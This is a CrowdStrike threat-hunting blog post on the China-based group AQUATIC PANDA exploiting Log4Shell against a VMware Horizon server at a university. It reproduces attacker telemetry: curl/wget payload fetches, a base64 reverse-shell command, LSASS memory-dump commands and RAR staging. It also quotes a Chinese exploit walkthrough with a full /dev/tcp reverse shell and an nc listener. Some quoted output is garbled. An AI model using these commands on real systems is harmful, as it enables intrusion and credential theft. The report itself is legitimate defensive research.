

OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt

December 29, 2021 | Benjamin Wiley and the Falcon OverWatch Team | From The Front Lines



Following the Dec. 9, 2021, announcement of the Log4j vulnerability, [CVE 2021-44228](#), CrowdStrike Falcon® OverWatch™ has provided customers with unrivaled protection and 24/7/365 vigilance in the face of heightened uncertainty.

Featured

Recent

Video

Category

Start Free Trial

Since the vulnerability was announced, OverWatch threat hunters have been continuously



vulnerable to Log4j exploits. This led OverWatch to hunt for unusual child processes associated with the VMware Horizon Tomcat web server service during routine operations.

On the back of this updated hunting lead, OverWatch uncovered suspicious activity stemming from a Tomcat process running under a vulnerable VMware Horizon instance at a large academic institution, leading to the disruption of an active hands-on intrusion. Thanks to the quick action of OverWatch threat hunters, the victim organization received the context-rich alerts they needed to begin their incident response protocol.

OverWatch's Rapid Notification Process Disrupts AQUATIC PANDA

OverWatch threat hunters observed the [threat actor](#) performing multiple connectivity checks via DNS lookups for a subdomain under [dns<.>1433<.>eu<.>org](#), executed under the Apache Tomcat service running on the VMware Horizon instance. OverWatch has observed multiple threat actors utilizing publicly accessible DNS logging services like [dns<.>1433<.>eu<.>org](#) during exploit attempts in order to identify vulnerable servers.

[Featured](#)

[Recent](#)

[Video](#)

[Category](#)

[Start Free Trial](#)

The threat actor then executed a series of Linux commands, including attempting to execute a



CrowdStrike Intelligence team later linked the infrastructure to the threat actor known as AQUATIC PANDA. (Read more about AQUATIC PANDA at the end of this post.) The execution of Linux commands on a Windows host under the Apache Tomcat service immediately drew the attention of OverWatch threat hunters. After triaging this initial burst of activity, OverWatch immediately sent a critical detection to the victim organization's CrowdStrike Falcon® platform and shared additional details directly with their security team.

```
"C:\Program Files\VMware\VMware View\Server\bin\ws_TomcatService.exe"  
-SCMStartup Tomcat Service  
cmd /C "bash -c {echo, YmFzaCAtaSA JiAv<REDACTED FOR REPORTING>zIDA JjE="  
cmd /C "curl http://139.X.X.119:443/ccc"  
cmd /C "wget http://139.X.X.119:443/ccc"
```

Figure 2. Failed attempts to execute Linux commands on a Windows host

Based on the telemetry available to OverWatch threat hunters and additional findings made by CrowdStrike Intelligence, CrowdStrike assesses that a modified version of the Log4j exploit was likely used during the course of the threat actor's operations.

Featured

Recent

Video

Category

Start Free Trial



-  JNDI-Injection-Exploit-1.0.jar
-  JNDIExploit-1.3-SNAPSHOT.jar
-  JNDIObject.class
-  JNDIObject.java

Figure 3. Suspected Log4j exploits found in AQUATIC PANDA's possession

Using the telemetry discovered through intelligence analysis of the **JNDI-Injection-Exploit-1.0.jar** file, OverWatch was able to confirm that the same file was released on a public GitHub project on Dec. 13, 2021, as seen in Figure 4 below, and was potentially utilized in order to gain access to the vulnerable instance of VMware Horizon based on follow-on activity observed by OverWatch.

Featured

Recent

Video

Category

Start Free Trial



1. 下载命令执行工具，也可以编译Exploit.java 将计算器换成Linux反弹代码，这里为了方便直接使用 [JNDI-Injection-Exploit-1.0.jar](#)
2. 开启利用工具 `java -jar JNDI-Injection-Exploit-1.0.jar -C "bash -c {echo, YmFzaCAtaSA+IC9kZXVvdGNwLzE5Mi4xNjgu0TkuNDQv0Dg40CAwPiYx} |{base64,-d}|{bash,-i}" -A "192.168.99.44"`
 - i. 命令说明：-C 指定要执行的命令，-A 指定监听端口所在IP（一般为本机IP）
 - ii. base64 编码部分为Linux 反弹shell `bash -i > /dev/tcp/192.168.99.44/8888 0>&1`
 - iii. 将利用工具生成的jndi links 放入postman payload 中
3. 本地开启nc 监听 `nc -lvp 8888`
4. 发送payload 到目标服务器，反弹shell 成功
5. 利用过程截图：

```
j: backTools/mashablesec-master> java -jar JNDI-Injection-Exploit-1.0.jar -C "bash -c {echo, YmFzaCAtaSA+IC9kZXVvdGNwLzE5Mi4xNjgu0TkuNDQv0Dg40CAwPiYx} |{base64,-d}|{bash,-i}" -A "192.168.99.44"
[COMMAND] >> hash -c {echo, YmFzaCAtaSA+IC9kZXVvdGNwLzE5Mi4xNjgu0TkuNDQv0Dg40CAwPiYx} |{base64,-d}|{hash,-i}
-----JNDI Links-----
Target environment(Build in JRE 1.7 whose trustURLCodebase is true):
null://192.168.99.44:1099/lbogwt
ldap://192.168.99.44:1099/lvrc63t
Target environment(Build in JRE whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
null://192.168.99.44:1099/lbogwt
Target environment(Build in JRE 1.8 whose trustURLCodebase is true):
null://192.168.99.44:1099/lvswgp
http://192.168.99.44:1099/lvswgp

-----Server Log-----
2021-12-14 10:27:30 [JETTYSERVER]>> Listening on 0.0.0.0:8190
2021-12-14 10:27:30 [JMSERVER] >> Listening on 0.0.0.0:1099
2021-12-14 10:27:31 [LDAPSERVER] >> Listening on 0.0.0.0:1389
2021-12-14 10:30:30 [LDAPSERVER] >> Send LDMP reference result for Bswgpp redirecting to http://192.168.99.44:8190/ExecTemplateJK8.class
2021-12-14 10:30:30 [JETTYSERVER]>> Log a request to http://192.168.99.44:8190/ExecTemplateJK8.class

ar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C
{echo, YmFzaCAtaSA+J1AvZGV2L3RjcC8xOTIuMTY4Ljk5Lj5ell.exe -MonI -W Hidden -NoP -Exec Bypass -Enc b64
{echo, YmFzaCAtaSA+J1AvZGV2L3RjcC8xOTIuMTY4Ljk5Lj5ell
{echo, YmFzaCAtaSA+J1AvZGV2L3RjcC8xNTAuMTU4LjE3Ni+方法

```

利用工具监听端口

发送jndi注入payload

Featured

Recent

Video

Category

Start Free Trial



files with VBS file extensions from remote infrastructure. These files were then decoded using `cscript.exe` into an EXE, DLL and DAT file respectively. Based on the telemetry available, OverWatch believes these files likely constituted a reverse shell, which was loaded into memory via DLL search-order hijacking.² Finally, OverWatch observed AQUATIC PANDA make multiple attempts at credential harvesting by dumping the memory of the LSASS process³ using living-off-the-land binaries `rdrleakdiag.exe` and `cdump.exe` — a renamed copy of `createdump.exe`. The threat actor used winRAR to compress the memory dump in preparation for exfiltration before attempting to cover their tracks by deleting all executables from the `ProgramData` and `Windows\temp\` directories.

```
rdrleakdiag.exe /p 824 /o c:\programdata\ /fullmemdmp /wait 1  
cdump -u -f [REDACTED FOR REPORTING].dmp 824
```

Figure 5. Example command line used in attempted memory dump

Featured

Recent

Video

Category

Start Free Trial



```
c:\windows\system32\rdrleakdiag.exe /p 824 /o c:\programdata\ /fullmemdump /wait 1
```

```
\Device\HarddiskVolume5\Windows\SysWOW64\cmd.exe
```

```
C:\Windows\system32\cmd.exe /C dir c:\windows\system32\rdrleakdiag.exe
```

```
\Device\HarddiskVolume5\Windows\SysWOW64\cmd.exe
```

```
C:\Windows\system32\cmd.exe /C cdump -u -f [REDACTED] dmp 824
```

```
\Device\HarddiskVolume5\ProgramData\cdump.exe
```

```
cdump -u -f [REDACTED] dmp 824
```

```
\Device\HarddiskVolume5\Windows\SysWOW64\cmd.exe
```

```
C:\Windows\system32\cmd.exe /C Rar.exe a -k -r -s -m3 [REDACTED] zz [REDACTED] dmp
```

Figure 6. Falcon platform telemetry capturing threat actor actions

Throughout the intrusion, OverWatch tracked the threat actor's activity closely in order to provide continuous updates to the victim organization. Based on the actionable intelligence provided by OverWatch, the victim organization was able to quickly implement their incident response protocol, eventually patching the vulnerable application and preventing further threat actor activity on the host.

Featured

Recent

Video

Category

Start Free Trial

adversaries with a new entry vector, they do not change the hands-on-keyboard activity OverWatch threat hunters are trained to detect and disrupt.

AQUATIC PANDA

AQUATIC PANDA is a China-based targeted intrusion adversary with a dual mission of intelligence collection and industrial espionage. It has likely operated since at least May 2020. AQUATIC PANDA operations have primarily focused on entities in the telecommunications, technology and government sectors. AQUATIC PANDA relies heavily on Cobalt Strike, and its toolset includes the unique Cobalt Strike downloader tracked as FishMaster. AQUATIC PANDA has also been observed delivering njRAT payloads to targets.

Endnotes

1. Learn more about this technique at <https://attack.mitre.org/techniques/T1132/001/> and <https://attack.mitre.org/techniques/T1059/001/>.
2. Learn more about this technique at <https://attack.mitre.org/techniques/T1574/001/>.
3. Learn more about this technique at <https://attack.mitre.org/techniques/T1003/001/>.

Additional Resources

Featured

Recent

Video

Category

Start Free Trial

See our featured free trial of CrowdStrike Falcon® Prevent™ to see for yourself how true next-gen AV performs against today's most sophisticated threats.



BREACHES STOP HERE

[START FREE TRIAL](#)

PROTECT AGAINST MALWARE, RANSOMWARE AND FILELESS ATTACKS

Related Content



CrowdStrike Named a Leader with “Bold Vision” in 2024 Forrester Wave for Cybersecurity Incident Response Services



How to Defend Employees and Data as Social Engineering Evolves



The Anatomy of an ALPHA SPIDER Ransomware Attack

Featured

[Recent](#)

[Video](#)

[Category](#)

[Start Free Trial](#)



[Engineering & Tech](#)

78



[Executive Viewpoint](#)

162



	Identity Protection	37
	Next-Gen SIEM & Log Management	91
	Public Sector	37
	Small Business	8

CONNECT WITH US



Featured

Recent

Video

Category

Start Free Trial



CROWDSTRIKE

Get started with CrowdStrike for free.

[Featured](#)

[Recent](#)

[Video](#)

[Category](#)

[Start Free Trial](#)



[Start Free Trial](#)

FEATURED ARTICLES

October 01, 2024

CrowdStrike Named a Leader in 2024 Gartner® Magic Quadrant™ for Endpoint Protection Platforms

September 25, 2024

[Featured](#)

[Recent](#)

[Video](#)

[Category](#)

[Start Free Trial](#)

[SUBSCRIBE](#)



See CrowdStrike Falcon® in Action

Detect, prevent, and respond to attacks— even malware-free intrusions—at any stage, with next-generation endpoint protection.

[See Demo](#)

« [Baselining and Hunting Log4Shell with the CrowdStrike Falcon® Platform](#)

[CrowdStrike Services Offers Incident Response Tracker for the DFIR Community »](#)

Featured

Recent

Video

Category

Start Free Trial



Copyright © 2024 CrowdStrike | Privacy | Request Info | Blog | Contact Us | 1.888.512.8906 | Accessibility